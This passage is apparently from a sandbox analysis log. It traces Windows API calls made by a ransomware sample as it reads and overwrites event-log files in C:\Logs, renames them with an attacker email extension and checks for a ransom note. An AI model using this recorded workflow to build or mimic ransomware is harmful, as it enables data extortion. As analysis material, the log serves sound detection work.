lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6faf6c0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x6faf6c0*=0x4096, lpOverlapped=0x0) returned 1 [0060.590] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0060.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c60 [0060.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c60) returned 1 [0060.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34862b8 [0060.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c88 [0060.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e68 [0060.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4e68) returned 1 [0060.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0060.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.591] WriteFile (in: hFile=0x5b0, lpBuffer=0x34862b8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6faf6c0, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesWritten=0x6faf6c0*=0x4096, lpOverlapped=0x0) returned 1 [0060.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0060.592] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.592] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6faf6f8, lpOverlapped=0x0 | out: lpBuffer=0x33e4c88*, lpNumberOfBytesWritten=0x6faf6f8*=0x20, lpOverlapped=0x0) returned 1 [0060.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c88) returned 1 [0060.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.592] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4cb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6faf70c, lpOverlapped=0x0 | out: lpBuffer=0x33e4cb0*, lpNumberOfBytesWritten=0x6faf70c*=0x8, lpOverlapped=0x0) returned 1 [0060.592] WriteFile (in: hFile=0x5b0, lpBuffer=0x6faf724*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6faf70c, lpOverlapped=0x0 | out: lpBuffer=0x6faf724*, lpNumberOfBytesWritten=0x6faf70c*=0x4, lpOverlapped=0x0) returned 1 [0060.592] WriteFile (in: hFile=0x5b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6faf70c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x6faf70c*=0x4, lpOverlapped=0x0) returned 1 [0060.592] WriteFile (in: hFile=0x5b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6faf70c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x6faf70c*=0x6c, lpOverlapped=0x0) returned 1 [0060.592] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4c38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6faf70c, lpOverlapped=0x0 | out: lpBuffer=0x33e4c38*, lpNumberOfBytesWritten=0x6faf70c*=0x20, lpOverlapped=0x0) returned 1 [0060.592] WriteFile (in: hFile=0x5b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6faf70c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x6faf70c*=0x4, lpOverlapped=0x0) returned 1 [0060.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c38) returned 1 [0060.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4e40) returned 1 [0060.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4cb0) returned 1 [0060.593] CloseHandle (hObject=0x5b0) returned 1 [0060.595] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x33e21c8 [0060.595] wcscpy (in: _Dest=0x33e21c8, _Source="C:\\Logs\\Key Management Service.evtx" | out: _Dest="C:\\Logs\\Key Management Service.evtx") returned="C:\\Logs\\Key Management Service.evtx" [0060.595] wcscat (in: _Dest=0x33e21c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731" [0060.595] MoveFileW (lpExistingFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), lpNewFileName="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\key management service.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.596] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0060.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e21c8) returned 1 [0060.596] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx", dwFileAttributes=0x20) returned 0 [0060.596] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433a28 [0060.596] wcscpy (in: _Dest=0x3433a28, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0060.596] wcscat (in: _Dest=0x3433a28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0060.596] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0060.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433a28) returned 1 [0060.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341cb60) returned 1 [0060.596] RtlExitUserThread (Status=0x1) Thread: id = 72 os_tid = 0xff0 [0060.600] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20 [0060.600] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx", dwFileAttributes=0x20) returned 1 [0060.600] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0 [0060.600] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x702f7dc | out: lpFileSize=0x702f7dc*=69632) returned 1 [0060.600] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.600] ReadFile (in: hFile=0x5b0, lpBuffer=0x702f7b0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x702f7ac, lpOverlapped=0x0 | out: lpBuffer=0x702f7b0*, lpNumberOfBytesRead=0x702f7ac*=0x4, lpOverlapped=0x0) returned 1 [0060.601] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4dc8 [0060.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c38 [0060.602] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4cb0 [0060.602] NtQuerySystemTime (in: CurrentTime=0x702f788 | out: CurrentTime=0x702f788*=132121176184925878) returned 0x0 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0xeb513546 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x9f3edefa [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x9bf6819f [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0xdc4c018e [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x3ac6b95b [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0xced45823 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x799870f5 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0xfe9b780d [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x2ad363c4 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x6435bc88 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x51eeaf80 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0xf961b73b [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x32863d32 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x329176a6 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x91611486 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x6a8bdad6 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x4c5a6a13 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x5fa8f197 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x1182994e [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x2117573c [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x8d4bad3e [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x7f0ca291 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x454d5569 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x175691ac [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x986a49d5 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0xe5508331 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x57fd6f94 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x22e22c83 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x865283ec [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0xa3e380d1 [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0xe3cfb6af [0060.602] RtlRandom (in: Seed=0x702f794 | out: Seed=0x702f794) returned 0x7a971a4c [0060.611] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c60 [0060.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0060.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c88 [0060.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0060.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4dc8) returned 1 [0060.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.613] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.613] ReadFile (in: hFile=0x5b0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x702f760, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x702f760*=0x4096, lpOverlapped=0x0) returned 1 [0060.614] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0060.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e40 [0060.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4e40) returned 1 [0060.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34862b8 [0060.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d78 [0060.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4cd8 [0060.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4cd8) returned 1 [0060.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0060.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.614] WriteFile (in: hFile=0x5b0, lpBuffer=0x34862b8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x702f760, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesWritten=0x702f760*=0x4096, lpOverlapped=0x0) returned 1 [0060.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0060.615] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.615] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4d78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x702f798, lpOverlapped=0x0 | out: lpBuffer=0x33e4d78*, lpNumberOfBytesWritten=0x702f798*=0x20, lpOverlapped=0x0) returned 1 [0060.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4d78) returned 1 [0060.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.615] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4c88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x702f7ac, lpOverlapped=0x0 | out: lpBuffer=0x33e4c88*, lpNumberOfBytesWritten=0x702f7ac*=0x8, lpOverlapped=0x0) returned 1 [0060.615] WriteFile (in: hFile=0x5b0, lpBuffer=0x702f7c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x702f7ac, lpOverlapped=0x0 | out: lpBuffer=0x702f7c4*, lpNumberOfBytesWritten=0x702f7ac*=0x4, lpOverlapped=0x0) returned 1 [0060.615] WriteFile (in: hFile=0x5b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x702f7ac, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x702f7ac*=0x4, lpOverlapped=0x0) returned 1 [0060.615] WriteFile (in: hFile=0x5b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x702f7ac, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x702f7ac*=0x6c, lpOverlapped=0x0) returned 1 [0060.615] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4c38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x702f7ac, lpOverlapped=0x0 | out: lpBuffer=0x33e4c38*, lpNumberOfBytesWritten=0x702f7ac*=0x20, lpOverlapped=0x0) returned 1 [0060.615] WriteFile (in: hFile=0x5b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x702f7ac, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x702f7ac*=0x4, lpOverlapped=0x0) returned 1 [0060.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c38) returned 1 [0060.615] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c60) returned 1 [0060.616] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c88) returned 1 [0060.616] CloseHandle (hObject=0x5b0) returned 1 [0060.618] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x341e0b8 [0060.618] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" [0060.618] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0060.618] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.619] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0060.619] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0060.619] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx", dwFileAttributes=0x20) returned 0 [0060.619] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34339e8 [0060.619] wcscpy (in: _Dest=0x34339e8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0060.619] wcscat (in: _Dest=0x34339e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0060.619] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0060.620] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34339e8) returned 1 [0060.620] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c43c0) returned 1 [0060.620] RtlExitUserThread (Status=0x1) Thread: id = 73 os_tid = 0xffc [0060.621] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20 [0060.621] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", dwFileAttributes=0x20) returned 1 [0060.621] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0 [0060.621] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x70af8f4 | out: lpFileSize=0x70af8f4*=69632) returned 1 [0060.622] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.622] ReadFile (in: hFile=0x5b0, lpBuffer=0x70af8c8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x70af8c4, lpOverlapped=0x0 | out: lpBuffer=0x70af8c8*, lpNumberOfBytesRead=0x70af8c4*=0x4, lpOverlapped=0x0) returned 1 [0060.624] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.625] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d00 [0060.625] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c38 [0060.625] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e40 [0060.625] NtQuerySystemTime (in: CurrentTime=0x70af8a0 | out: CurrentTime=0x70af8a0*=132121176185238218) returned 0x0 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0xb2119a73 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0xda0991d3 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x17eeaaf6 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x382778e1 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0xa86aab4b [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0xc313b467 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0xfef00880 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x7655048 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x4022f99b [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x7f20aef [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x17bdc7a3 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x10a119 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x2027c07 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0xe6309f [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0xa354ce43 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x7d0ffb8e [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0xe7b76e0c [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x992aef3c [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x75ef6637 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x4a8d0041 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0xb6059860 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0xdf7d7a28 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0xa464120e [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0xb4caeae4 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0xc8b1c6a1 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x58ab61d3 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x36af2ed3 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0xdc25af13 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x3f6084c3 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x7eccc7f8 [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x49a7e83d [0060.625] RtlRandom (in: Seed=0x70af8ac | out: Seed=0x70af8ac) returned 0x4f0c64e0 [0060.635] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e68 [0060.637] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0060.637] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4cd8 [0060.637] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0060.637] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4d00) returned 1 [0060.637] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.637] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.637] ReadFile (in: hFile=0x5b0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x70af878, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x70af878*=0x4096, lpOverlapped=0x0) returned 1 [0060.638] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0060.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c60 [0060.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c60) returned 1 [0060.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34862b8 [0060.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c88 [0060.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c60 [0060.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c60) returned 1 [0060.639] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0060.639] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.639] WriteFile (in: hFile=0x5b0, lpBuffer=0x34862b8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x70af878, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesWritten=0x70af878*=0x4096, lpOverlapped=0x0) returned 1 [0060.642] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0060.642] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.642] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x70af8b0, lpOverlapped=0x0 | out: lpBuffer=0x33e4c88*, lpNumberOfBytesWritten=0x70af8b0*=0x20, lpOverlapped=0x0) returned 1 [0060.643] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c88) returned 1 [0060.643] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.643] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4cd8*, nNumberOfBytesToWrite=0x8, 